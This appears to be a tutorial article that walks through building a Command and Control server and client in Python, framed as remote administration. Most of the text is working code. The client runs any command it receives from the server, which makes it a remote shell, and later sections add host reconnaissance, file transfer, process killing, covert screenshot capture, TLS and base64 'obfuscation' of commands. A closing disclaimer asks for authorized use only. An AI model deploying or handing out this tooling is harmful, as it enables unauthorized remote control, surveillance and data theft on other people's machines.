Command and Control With Python
Command and Control (C2) systems are essential tools in network security and management, allowing administrators to remotely control and monitor multiple systems. This article will guide you through creating a basic C2 server and client using Python, demonstrating various use cases and implementation details.
Setting Up the C2 Server
Let’s start by creating a simple C2 server using Python’s socket
library:
import socket
import threading
def handle_client(client_socket):
while True:
cmd = input("Enter command: ")
client_socket.send(cmd.encode())
if cmd.lower() == "exit":
break
response = client_socket.recv(1024).decode()
print(f"Response: {response}")
client_socket.close()
def start_server(host, port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((host, port))
server.listen(5)
print(f"[*] Listening on {host}:{port}")
while True:
client, addr = server.accept()
print(f"[*] Accepted connection from {addr[0]}:{addr[1]}")
client_handler = threading.Thread(target=handle_client, args=(client,))
client_handler.start()
if __name__ == "__main__":
start_server("0.0.0.0", 9999)
This server listens for incoming connections and spawns a new thread for each client, allowing multiple simultaneous connections.
Creating the C2 Client
Now, let’s create a client that connects to our C2 server:
import socket
import subprocess
def connect_to_server(host, port):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))
while True:
command = client.recv(1024).decode()
if command.lower() == "exit":
break
output = subprocess.getoutput(command)
client.send(output.encode())
client.close()
if __name__ == "__main__":
connect_to_server("127.0.0.1", 9999)
This client connects to the server and waits for commands, executing them using subprocess.getoutput()
and sending the results back to the server.
Use Cases and Examples
1. Remote System Information Gathering
You can use the C2 system to gather information about remote systems. Here’s an extended example:
import platform
import psutil
import socket
def get_system_info():
return f"""
OS: {platform.system()} {platform.release()}
Architecture: {platform.machine()}
Processor: {platform.processor()}
Hostname: {platform.node()}
Python Version: {platform.python_version()}
CPU Cores: {psutil.cpu_count()}
Total RAM: {psutil.virtual_memory().total / (1024 ** 3):.2f} GB
IP Address: {socket.gethostbyname(socket.gethostname())}
"""
# Add this to the main loop
if command.lower() == "systeminfo":
output = get_system_info()
client.send(output.encode())
2. File Transfer with Progress
Let’s implement file transfer capabilities with progress reporting:
import os
def send_file(client_socket, filename):
filesize = os.path.getsize(filename)
client_socket.send(f"{filename}|{filesize}".encode())
with open(filename, "rb") as f:
bytes_sent = 0
while bytes_sent < filesize:
chunk = f.read(1024)
client_socket.send(chunk)
bytes_sent += len(chunk)
print(f"\rProgress: {bytes_sent/filesize*100:.2f}%", end="")
print("\nFile sent successfully")
# Add this to the handle_client function
if cmd.startswith("sendfile"):
_, filename = cmd.split()
send_file(client_socket, filename)
import os
def receive_file(client):
file_info = client.recv(1024).decode()
filename, filesize = file_info.split("|")
filesize = int(filesize)
with open(filename, "wb") as f:
bytes_received = 0
while bytes_received < filesize:
chunk = client.recv(min(1024, filesize - bytes_received))
if not chunk:
break
f.write(chunk)
bytes_received += len(chunk)
print(f"\rProgress: {bytes_received/filesize*100:.2f}%", end="")
print("\nFile received successfully")
client.send(b"File received successfully")
# Add this to the main loop
if command.startswith("sendfile"):
receive_file(client)
3. Remote Process Management
Let’s add functionality to list and manage processes on the client machine:
import psutil
def list_processes():
processes = []
for proc in psutil.process_iter(['pid', 'name', 'status']):
processes.append(f"{proc.info['pid']}: {proc.info['name']} ({proc.info['status']})")
return "\n".join(processes)
def kill_process(pid):
try:
proc = psutil.Process(int(pid))
proc.terminate()
return f"Process {pid} terminated successfully"
except psutil.NoSuchProcess:
return f"No process found with PID {pid}"
except psutil.AccessDenied:
return f"Access denied to terminate process {pid}"
# Add these to the main loop
if command.lower() == "listprocesses":
output = list_processes()
client.send(output.encode())
elif command.lower().startswith("killprocess"):
_, pid = command.split()
output = kill_process(pid)
client.send(output.encode())
4. Remote Screenshot Capture
Let’s add functionality to capture and send screenshots from the client:
import pyautogui
import io
def capture_screenshot():
screenshot = pyautogui.screenshot()
img_bytes = io.BytesIO()
screenshot.save(img_bytes, format='PNG')
return img_bytes.getvalue()
# Add this to the main loop
if command.lower() == "screenshot":
screenshot_data = capture_screenshot()
client.send(len(screenshot_data).to_bytes(4, byteorder='big'))
client.send(screenshot_data)
def receive_screenshot(client_socket):
size = int.from_bytes(client_socket.recv(4), byteorder='big')
screenshot_data = b""
while len(screenshot_data) < size:
chunk = client_socket.recv(min(1024, size - len(screenshot_data)))
screenshot_data += chunk
with open("screenshot.png", "wb") as f:
f.write(screenshot_data)
print("Screenshot received and saved as screenshot.png")
# Add this to the handle_client function
if cmd.lower() == "screenshot":
receive_screenshot(client_socket)
Enhancing Security
To improve the security of your C2 system, consider implementing the following:
- Encryption using SSL/TLS:
import ssl
def create_secure_server(host, port, certfile, keyfile):
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
context.load_cert_chain(certfile=certfile, keyfile=keyfile)
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((host, port))
server.listen(5)
return context.wrap_socket(server, server_side=True)
# Use this function to create the server socket
secure_server = create_secure_server("0.0.0.0", 9999, "server.crt", "server.key")
import ssl
def create_secure_client(host, port, ca_cert):
context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
context.load_verify_locations(ca_cert)
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
secure_client = context.wrap_socket(client, server_hostname=host)
secure_client.connect((host, port))
return secure_client
# Use this function to create the client socket
secure_client = create_secure_client("example.com", 9999, "server.crt")
- Authentication using JWT (JSON Web Tokens):
import jwt
import datetime
SECRET_KEY = "your-secret-key"
def generate_token(username):
payload = {
"username": username,
"exp": datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}
return jwt.encode(payload, SECRET_KEY, algorithm="HS256")
def verify_token(token):
try:
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
return payload["username"]
except jwt.ExpiredSignatureError:
return None
except jwt.InvalidTokenError:
return None
# Add this to the handle_client function
client_socket.send(b"Username: ")
username = client_socket.recv(1024).decode().strip()
client_socket.send(b"Password: ")
password = client_socket.recv(1024).decode().strip()
if authenticate(username, password):
token = generate_token(username)
client_socket.send(token.encode())
else:
client_socket.send(b"Authentication failed")
client_socket.close()
return
# Add this to the beginning of the connect_to_server function
username = input("Username: ")
password = input("Password: ")
client.send(username.encode())
client.recv(1024) # Receive "Password: " prompt
client.send(password.encode())
token = client.recv(1024).decode()
if token == "Authentication failed":
print("Authentication failed")
client.close()
return
# Use this token for subsequent requests
- Command Obfuscation using Base64 encoding:
import base64
def encode_command(command):
return base64.b64encode(command.encode()).decode()
def decode_command(encoded_command):
return base64.b64decode(encoded_command).decode()
# Server: Use encode_command before sending
client_socket.send(encode_command(cmd).encode())
# Client: Use decode_command after receiving
command = decode_command(client.recv(1024).decode())
C2 Architecture with Load Balancer
Here’s a high-level overview of a more advanced C2 architecture with a load balancer:
graph TD LB[Load Balancer] -->|Distributes Connections| S1[C2 Server 1] LB -->|Distributes Connections| S2[C2 Server 2] LB -->|Distributes Connections| S3[C2 Server 3] S1 -->|Commands| C1(Client 1) S1 -->|Commands| C2(Client 2) S2 -->|Commands| C3(Client 3) S2 -->|Commands| C4(Client 4) S3 -->|Commands| C5(Client 5) S3 -->|Commands| C6(Client 6) C1 -->|Responses| S1 C2 -->|Responses| S1 C3 -->|Responses| S2 C4 -->|Responses| S2 C5 -->|Responses| S3 C6 -->|Responses| S3 A[Administrator] -->|Interacts| LB
Mathematical Model of C2 Network Resilience
Let’s consider a mathematical model for the resilience of a C2 network. We can use graph theory to analyze the network’s connectivity and robustness.
Let $G = (V, E)$ be the graph representing our C2 network, where $V$ is the set of nodes (servers and clients) and $E$ is the set of edges (connections).
The algebraic connectivity of the graph, denoted by $\lambda_2(G)$, is the second-smallest eigenvalue of the Laplacian matrix of $G$. This value is a measure of how well-connected the graph is.
For a C2 network, we want to maximize $\lambda_2(G)$ to ensure high connectivity and resilience against node or edge failures.
The Laplacian matrix $L$ of $G$ is defined as:
$$ L = D - A $$
Where $D$ is the degree matrix and $A$ is the adjacency matrix of $G$.
To calculate $\lambda_2(G)$, we need to solve the eigenvalue equation:
$$ Lv = \lambda v $$
Where $\lambda$ are the eigenvalues and $v$ are the corresponding eigenvectors.
The algebraic connectivity $\lambda_2(G)$ is then the second-smallest eigenvalue of $L$.
A higher value of $\lambda_2(G)$ indicates a more resilient network structure, which is desirable for a robust C2 system.
Conclusion
This article has demonstrated how to create a basic Command and Control system using Python, along with several advanced use cases and security enhancements. We’ve covered remote system information gathering, file transfer with progress reporting, process management, screenshot capture, and various security measures including encryption, authentication, and obfuscation.
Remember to use such systems responsibly and only on networks and systems you have explicit permission to access. The techniques and concepts presented here can be further expanded to create more sophisticated C2 systems, but always prioritize security and ethical considerations in your implementations.
For further reading, consider exploring more advanced C2 frameworks, studying network security best practices, and learning about defensive techniques against malicious C2 systems. Additionally, delve into graph theory and network analysis to better understand and optimize the resilience of your C2 network structure.